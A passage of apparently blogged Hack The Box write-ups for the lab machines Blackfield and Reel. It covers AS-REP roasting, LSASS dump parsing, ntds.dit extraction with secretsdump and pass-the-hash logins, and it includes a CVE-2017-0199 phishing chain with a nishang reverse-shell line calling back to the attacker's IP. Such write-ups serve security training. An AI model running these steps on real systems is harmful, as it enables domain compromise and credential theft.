135, 593 (MSRPC)
389, 3268 (LDAP)
445 (SMB)
5985 (WinRM)

Active Directory:

domain: BLACKFIELD.local
hostname: DC01

Guest logon was enabled, and I was able to list shares with netexec:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ netexec smb 10.10.10.192 -u 'a' -p '' --shares
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\a: (Guest)
SMB         10.10.10.192    445    DC01             [*] Enumerated shares
SMB         10.10.10.192    445    DC01             Share           Permissions     Remark
SMB         10.10.10.192    445    DC01             -----           -----------     ------
SMB         10.10.10.192    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.10.192    445    DC01             C$                              Default share
SMB         10.10.10.192    445    DC01             forensic                        Forensic / Audit share.
SMB         10.10.10.192    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.10.192    445    DC01             NETLOGON                        Logon server share
SMB         10.10.10.192    445    DC01             profiles$       READ            
SMB         10.10.10.192    445    DC01             SYSVOL                          Logon server share

With read access on profiles$, I used smbclient to connect to the share which contained directories for various users:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ smbclient -N //10.10.10.192/profiles$
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun  3 12:47:12 2020
  ..                                  D        0  Wed Jun  3 12:47:12 2020
  AAlleni                             D        0  Wed Jun  3 12:47:11 2020
  ABarteski                           D        0  Wed Jun  3 12:47:11 2020
  ABekesz                             D        0  Wed Jun  3 12:47:11 2020
  ABenzies                            D        0  Wed Jun  3 12:47:11 2020
  ABiemiller                          D        0  Wed Jun  3 12:47:11 2020
  AChampken                           D        0  Wed Jun  3 12:47:11 
  <...snip...>

                5102079 blocks of size 4096. 1689584 blocks available

I copied the output from the profiles$ share above and extracted the usernames with awk and wrote it into the file users:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ awk '{print $1}' profiles > users

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ cat users                                            
AAlleni
ABarteski
ABekesz
ABenzies
ABiemiller
AChampken
<...snip...>

With a list of potential users, I ran an AS-REP roast attack with impacket-GetNPUsers which resulted in the hash for the support user:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ impacket-GetNPUsers BLACKFIELD.LOCAL/ -dc-ip 10.10.10.192 -usersfile users
Impacket v0.11.0 - Copyright 2023 Fortra

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
<...snip...>
$krb5asrep$23$support@BLACKFIELD.LOCAL:20d7ee67382f7515c0992278687c0704$20b3cc879553e156a6a1a716e2a42da06c9d3ce10b150d66a01f16592a47ae76b209df30f8849f2eeb6fcdb71f620c87417e27509e76c444903e3df522339ddc892706b3ef78923c46c9a731ca64023a0801aab125a304a658750e745ac48ce523db3122a82578621bdbcbbeac8803852f067b2b2cd3383a584161962c897b934da9616e82b30c156e96e1425435dddee83bec33e9f5128058f204b2918022120a97b54a2bae11464e887cdd2cc74a98ec719e9f270f4f07c101a78e98cb63f37c878e47d1b9a58d66e91ce9cfe8680128a924818531a0ab00edec9fc81dec09d2582d12a33509b98c709a2acf008fd6fa928703
<...snip...>
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

I copied the hash into a file (asrep_support) and ran JtR to crack the password:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ john asrep_support --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^BlackKnight  ($krb5asrep$23$support@BLACKFIELD.LOCAL)     
1g 0:00:00:13 DONE (2024-06-28 02:47) 0.07246g/s 1038Kp/s 1038Kc/s 1038KC/s #1ByNature..#*burberry#*1990
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

I confirmed that the credentials were valid:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ netexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'        
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight

With valid credentials, I was able to collect BloodHound data with netexec:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ netexec ldap 10.10.10.192 -u 'support' -p '#00^BlackKnight' --bloodhound --collection All --dns-server 10.10.10.192
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
LDAP        10.10.10.192    389    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight
LDAP        10.10.10.192    389    DC01             Resolved collection methods: dcom, psremote, rdp, container, acl, objectprops, localadmin, group, session, trusts
LDAP        10.10.10.192    389    DC01             Done in 00M 11S
LDAP        10.10.10.192    389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.10.192_2024-06-28_024847_bloodhound.zip

After uploading the data into BloodHound, viewing First Degree Object Control for support showed that the user had ForceChangePassword permission on audit2020:

Using the net tool from the samba suite, I changed the password of the audit2020 user:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ net rpc password "audit2020" "P@ssw0rd" -U "BLACKFIELD.LOCAL"/"support"%"#00^BlackKnight" -S 10.10.10.192

Then, I was able to authenticate and list shares as audit2020 which provided read access on the forensic share:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ netexec smb 10.10.10.192 -u 'audit2020' -p 'P@ssw0rd' --shares
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\audit2020:P@ssw0rd
SMB         10.10.10.192    445    DC01             [*] Enumerated shares
SMB         10.10.10.192    445    DC01             Share           Permissions     Remark
SMB         10.10.10.192    445    DC01             -----           -----------     ------
SMB         10.10.10.192    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.10.192    445    DC01             C$                              Default share
SMB         10.10.10.192    445    DC01             forensic        READ            Forensic / Audit share.
SMB         10.10.10.192    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.10.192    445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.10.192    445    DC01             profiles$       READ            
SMB         10.10.10.192    445    DC01             SYSVOL          READ            Logon server share

I downloaded the forensic share using smbclient:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield/forensic]
└─$ smbclient //10.10.10.192/forensic -U audit2020
Password for [WORKGROUP\audit2020]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Feb 23 08:03:16 2020
  ..                                  D        0  Sun Feb 23 08:03:16 2020
  commands_output                     D        0  Sun Feb 23 13:14:37 2020
  memory_analysis                     D        0  Thu May 28 16:28:33 2020
  tools                               D        0  Sun Feb 23 08:39:08 2020

                5102079 blocks of size 4096. 1693525 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
<...snip...>

lsass.zip in the memory_analysis directory seemed particularly interesting:

┌──(kali㉿kali)-[~/…/HTB/Blackfield/forensic/memory_analysis]
└─$ ls
conhost.zip  ismserv.zip        ServerManager.zip  taskhostw.zip
ctfmon.zip   lsass.zip          sihost.zip         winlogon.zip
dfsrs.zip    mmc.zip            smartscreen.zip    wlms.zip
dllhost.zip  RuntimeBroker.zip  svchost.zip        WmiPrvSE.zip

The ZIP contained an LSASS memory dump, lsass.DMP:

┌──(kali㉿kali)-[~/…/HTB/Blackfield/forensic/memory_analysis]
└─$ unzip lsass.zip                            
Archive:  lsass.zip
  inflating: lsass.DMP

Running pypykatz on lsass.DMP revealed the NTLM hash for the svc_backup user:

┌──(kali㉿kali)-[~/…/HTB/Blackfield/forensic/memory_analysis]
└─$ pypykatz lsa minidump lsass.DMP
INFO:pypykatz:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
        == MSV ==
                Username: svc_backup
                Domain: BLACKFIELD
                LM: NA
                NT: 9658d1d1dcd9250115e2205d9f48400d
                SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
                DPAPI: a03cd8e9d30171f3cfe8caad92fef621
        == WDIGEST [633ba]==
                username svc_backup
                domainname BLACKFIELD
                password None
                password (hex)
        == Kerberos ==
                Username: svc_backup
                Domain: BLACKFIELD.LOCAL
        == WDIGEST [633ba]==
                username svc_backup
                domainname BLACKFIELD
                password None
                password (hex)

<...snip...>

Viewing First Degree Group Memberships for svc_backup showed that the user was a member of the following groups:

Since the user was a member of Remote Management Users, I was able to log in over WinRM as svc_backup:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami
blackfield\svc_backup
*Evil-WinRM* PS C:\Users\svc_backup\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\svc_backup\desktop> ls


    Directory: C:\Users\svc_backup\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/28/2020   2:26 PM             32 user.txt

svc_backup was also a member of Backup Operators, members of this group are granted the SeBackup and SeRestore privileges:

*Evil-WinRM* PS C:\Users\svc_backup\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Users with SeBackupPrivilege can create a shadow copy of the entire drive, resulting in the ability to traverse any folder, list folder contents, and copy any file even if the user doesn't have explicit permission to access that file. This can be leveraged to access the ntds.dit database and the SYSTEM registry hive which can then be copied locally and used with impacket-secretsdump to retrieve NTLM hashes. In order to do this, I took the following steps:

Commands issued via evil-winrm are executed in the context of the wsmprovhost process which is non-interactive, as shown below with the session ID (SI) of 0:

*Evil-WinRM* PS C:\Users\svc_backup\desktop> $PID
4948
*Evil-WinRM* PS C:\Users\svc_backup\desktop> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
<...snip...>
   1442      27    80116      96832       0.83   4948   0 wsmprovhost

Therefore, I couldn't enter commands into the diskshadow.exe utility directly. However, diskshadow.exe also supports running commands from a script file, allowing for non-interactive usage. So, I ran the following commands to create a script file (diskshadow.txt) within C:\windows\temp:

*Evil-WinRM* PS C:\windows\temp> echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
*Evil-WinRM* PS C:\windows\temp> echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\windows\temp> echo "create" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\windows\temp> echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

I was then able to run diskshadow.exe with the script file to create a shadow copy of the C drive exposed as z:

*Evil-WinRM* PS C:\windows\temp> diskshadow.exe /s c:\windows\temp\diskshadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  6/28/2024 7:09:01 AM

-> set context persistent nowriters
-> add volume c: alias temp
-> create
Alias temp for shadow ID {10f767dc-c5bc-4780-b991-93d3fdd38db8} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {8698040c-d85a-4ef8-ba63-aef956fb0d07} set as environment variable.

Querying all shadow copies with the shadow copy set ID {8698040c-d85a-4ef8-ba63-aef956fb0d07}

        * Shadow copy ID = {10f767dc-c5bc-4780-b991-93d3fdd38db8}               %temp%
                - Shadow copy set: {8698040c-d85a-4ef8-ba63-aef956fb0d07}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{6cd5140b-0000-0000-0000-602200000000}\ [C:\]
                - Creation time: 6/28/2024 7:09:02 AM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
                - Originating machine: DC01.BLACKFIELD.local
                - Service machine: DC01.BLACKFIELD.local
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %temp% z:
-> %temp% = {10f767dc-c5bc-4780-b991-93d3fdd38db8}
The shadow copy was successfully exposed as z:\.
->

Using robocopy, I made a copy of ntds.dit from z:

*Evil-WinRM* PS C:\windows\temp> robocopy /B z:\Windows\NTDS .\ntds ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Friday, June 28, 2024 7:15:37 AM
   Source : z:\Windows\NTDS\
     Dest : C:\windows\temp\ntds\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

          New Dir          1    z:\Windows\NTDS\
            New File              18.0 m        ntds.dit

<...snip...>

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         1         0         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   18.00 m   18.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :           109734697 Bytes/sec.
   Speed :            6279.069 MegaBytes/min.
   Ended : Friday, June 28, 2024 7:15:37 AM

I confirmed that ntds.dit was successfully copied:

*Evil-WinRM* PS C:\windows\temp> ls


    Directory: C:\windows\temp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/28/2024   5:13 AM                ntds
-a----        6/28/2024   7:09 AM            612 2024-06-28_7-09-02_DC01.cab
-a----        6/28/2024   7:08 AM             86 diskshadow.txt
-a----        6/28/2024   4:31 AM         213550 MpCmdRun.log
-a----        6/28/2024   4:02 AM            102 silconfig.log
------        6/28/2024   4:01 AM         635537 vmware-vmsvc.log
------        6/28/2024   4:02 AM          36594 vmware-vmusr.log
-a----        6/28/2024   4:01 AM           3264 vmware-vmvss.log


*Evil-WinRM* PS C:\windows\temp> ls ntds


    Directory: C:\windows\temp\ntds


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        6/28/2024   5:13 AM       18874368 ntds.dit

Being a member of Backup Operators grants permission to use the reg command to copy registry hives, so next I copied the SYSTEM registry hive:

*Evil-WinRM* PS C:\windows\temp> reg save HKLM\SYSTEM SYSTEM
The operation completed successfully.

*Evil-WinRM* PS C:\windows\temp> ls


    Directory: C:\windows\temp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/28/2024   5:13 AM                ntds
-a----        6/28/2024   7:09 AM            612 2024-06-28_7-09-02_DC01.cab
-a----        6/28/2024   7:08 AM             86 diskshadow.txt
-a----        6/28/2024   4:31 AM         213550 MpCmdRun.log
-a----        6/28/2024   4:02 AM            102 silconfig.log
-a----        6/28/2024   7:17 AM       17580032 SYSTEM
------        6/28/2024   4:01 AM         635537 vmware-vmsvc.log
------        6/28/2024   4:02 AM          36594 vmware-vmusr.log
-a----        6/28/2024   4:01 AM           3264 vmware-vmvss.log

I downloaded the ntds.dit database and SYSTEM registry hive:

*Evil-WinRM* PS C:\windows\temp> download ntds/ntds.dit
                                        
Info: Downloading C:\windows\temp\ntds/ntds.dit to ntds.dit
                                        
Info: Download successful!

*Evil-WinRM* PS C:\windows\temp> download SYSTEM
                                        
Info: Downloading C:\windows\temp\SYSTEM to SYSTEM
                                        
Info: Download successful!

I used impacket-secretsdump with ntds.dit and SYSTEM to retrieve user NTLM hashes:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:2148deab0a0a302616f70b15e16042f9:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD538365:1106:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD189208:1107:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD404458:1108:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD706381:1109:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
<...snip...>

With the hash of the administrator, I logged in over WinRM:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls


    Directory: C:\Users\Administrator\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/28/2020   4:36 PM            447 notes.txt
-a----        11/5/2020   8:38 PM             32 root.txt

Hack The Box - Reel

Fri, 09 Feb 2024 00:00:00 GMT

Reel is a Windows machine running Active Directory with an open FTP server that contains a few documents, one of which reveals an email address (nico@megabank.com) within the meta information. A phishing email can be sent over SMTP that results in a shell as the user nico. Enumeration of the machine leads to the discovery of an XML formatted PowerShell credential object with an encrypted password for the user tom. Using the Import-CliXml cmdlet, the password can be decrypted, allowing for lateral movement. Logging in over SSH provides access to a CSV that can be uploaded into BloodHound, revealing a privilege escalation path due to tom having WriteOwner permission on the user claire, who has WriteDACL on the Backup Admins group. This can be leveraged to find the credentials for the administrator and obtain a system shell.

nmap scan:

# Nmap 7.93 scan initiated Tue Feb  6 05:38:38 2024 as: nmap -sC -sV -Pn -oA nmap/output 10.10.10.77
Nmap scan report for reel (10.10.10.77)
Host is up (0.050s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-28-18  11:19PM       <DIR>          documents
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp    open  ssh          OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8220c3bd16cba29c88871d6c1559eded (RSA)
|   256 232bb80a8c1cf44d8d7e5e6458803345 (ECDSA)
|_  256 ac8bde251db7d838389b9c16bff63fed (ED25519)
25/tcp    open  smtp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe: 
|     220 Mail Service ready
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest: 
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|   Hello: 
|     220 Mail Service ready
|     EHLO Invalid domain address.
|   Help: 
|     220 Mail Service ready
|     DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|   SIPOptions: 
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|   TerminalServerCookie: 
|     220 Mail Service ready
|_    sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49159/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.93%I=7%D=2/6%Time=65C20C39%P=x86_64-pc-linux-gnu%r(NULL,
SF:18,"220\x20Mail\x20Service\x20ready\r\n")%r(Hello,3A,"220\x20Mail\x20Se
SF:rvice\x20ready\r\n501\x20EHLO\x20Invalid\x20domain\x20address\.\r\n")%r
SF:(Help,54,"220\x20Mail\x20Service\x20ready\r\n211\x20DATA\x20HELO\x20EHL
SF:O\x20MAIL\x20NOOP\x20QUIT\x20RCPT\x20RSET\x20SAML\x20TURN\x20VRFY\r\n")
SF:%r(GenericLines,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20se
SF:quence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\
SF:n")%r(GetRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20s
SF:equence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r
SF:\n")%r(HTTPOptions,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x2
SF:0sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands
SF:\r\n")%r(RTSPRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\
SF:x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comman
SF:ds\r\n")%r(RPCCheck,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSVers
SF:ionBindReqTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSStatusRequ
SF:estTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SSLSessionReq,18,"22
SF:0\x20Mail\x20Service\x20ready\r\n")%r(TerminalServerCookie,36,"220\x20M
SF:ail\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n
SF:")%r(TLSSessionReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Kerberos
SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SMBProgNeg,18,"220\x20Mail
SF:\x20Service\x20ready\r\n")%r(X11Probe,18,"220\x20Mail\x20Service\x20rea
SF:dy\r\n")%r(FourOhFourRequest,54,"220\x20Mail\x20Service\x20ready\r\n503
SF:\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x
SF:20commands\r\n")%r(LPDString,18,"220\x20Mail\x20Service\x20ready\r\n")%
SF:r(LDAPSearchReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(LDAPBindReq
SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SIPOptions,162,"220\x20Mai
SF:l\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n50
SF:3\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\
SF:x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x
SF:20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20command
SF:s\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence
SF:\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x
SF:20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20
SF:commands\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
|   OS CPE: cpe:/o:microsoft:windows_server_2012::-
|   Computer name: REEL
|   NetBIOS computer name: REEL\x00
|   Domain name: HTB.LOCAL
|   Forest name: HTB.LOCAL
|   FQDN: REEL.HTB.LOCAL
|_  System time: 2024-02-06T10:41:32+00:00
|_clock-skew: mean: 1s, deviation: 1s, median: 0s
| smb2-time: 
|   date: 2024-02-06T10:41:33
|_  start_date: 2024-02-06T10:37:14
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   302: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb  6 05:42:11 2024 -- 1 IP address (1 host up) scanned in 213.30 seconds

Notable open ports:

21 (FTP)
22 (SSH)
25 (SMTP)
135, 593 (MSRPC)
139, 445 (SMB)

Active Directory:

domain: htb.local
hostname: reel

FTP allowed anonymous login:

I downloaded AppLocker.docx, readme.txt, and Windows Event Forwarding.docx from the documents directory:

AppLocker.docx:

readme.txt:

Windows Event Forwarding.docx was corrupted and couldn't be opened, but I viewed the metadata with exiftool and found an email address for a potential user on the machine:

To test if the email was valid, I connected to the SMTP server on port 25 using telnet and used the command RCPT TO: <nico@megabank.com>, the 250 OK response confirmed that it was a recognized email address on the server:

Based on what was mentioned in the readme.txt document, RTF files were getting converted to a new format after being sent over by email. Since I had a valid email address, I attempted to phish nico@megabank.com to get RCE by exploiting CVE-2017-0199.

To run the phishing attack, I needed three files: an RTF, an HTA, and a ps1. So first, I used this script from GitHub to generate the RTF:

Next, for the HTA, I used Out-HTA.ps1 from nishang. In PowerShell, I specified the URL to the reverse shell payload in the -PayloadURL parameter. The generated HTA was WindDef_WebInstall.hta:

Then, for the reverse shell script, I used Invoke-PowerShellTcp.ps1 from nishang (renamed it to reverse.ps1 since that was the name of the payload I specified in Out-HTA):

Added the following line to the end of reverse.ps1 to invoke the script when downloaded:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.11 -Port 443

I stood up a Python web server hosting both WindDef_WebInstall.hta and reverse.ps1, then started a Netcat listener before sending the email via sendEmail:

After about 30 seconds, document.rtf was opened and requested WindDef_WebInstall.hta from the web server, once that was delivered, the HTA ran a VBScript that uses a PowerShell command to download and execute reverse.ps1.

Python web server 200 responses for WindDef_WebInstall.hta and reverse.ps1, confirming successful payload delivery:

nc caught a shell as nico:

cred.xml within C:\users\nico\desktop was an XML-based representation of a PSCredential object for the user tom with an encrypted password:

Import-CliXml can be used to parse the XML and decrypt the password, then the plaintext NetworkCredential object can be viewed:

With the credentials, I logged in over SSH as tom:

note.txt within C:\Users\tom\Desktop\AD Audit:

C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors contained acls.csv which could be uploaded into BloodHound to map out any privilege escalation paths:

To download acls.csv, I started an SMB server with impacket-smbserver:

Connected to the share:

Successful connection from REEL\tom:

Copied acls.csv over to the smb share:

For compatibility with the CSV, I needed to use BloodHound version 1.5.2 (the version around the time that this HTB machine was released) which also required an older version of neo4j within the 3.5.x range to successfully connect to the database, 3.4.5 worked.

After uploading the CSV, I viewed Outbound Object Control for the user tom. First Degree Object Control showed WriteOwner permission on the user claire:

Transitive Object Control showed that claire had WriteDACL on the backup_admins group:

PowerView.ps1 was already on the machine, so I used Set-DomainObjectOwner, Add-DomainObjectAcl, and Set-DomainUserPassword to reset the password for claire:

I logged in over SSH as claire with the new password:

The only member of backup_admins was ranj:

I added claire to backup_admins:

For the changes to take effect, I logged out and logged back in. I then had access to C:\Users\Administrator\Desktop, but didn't have access to root.txt:

The Backup Scripts directory contained some PowerShell scripts and text files:

BackupScript.ps1 had a hardcoded password for the administrator:

Using the credentials, I obtained a system shell with psexec.py:

Hack The Box - Escape

Tue, 30 Jan 2024 00:00:00 GMT

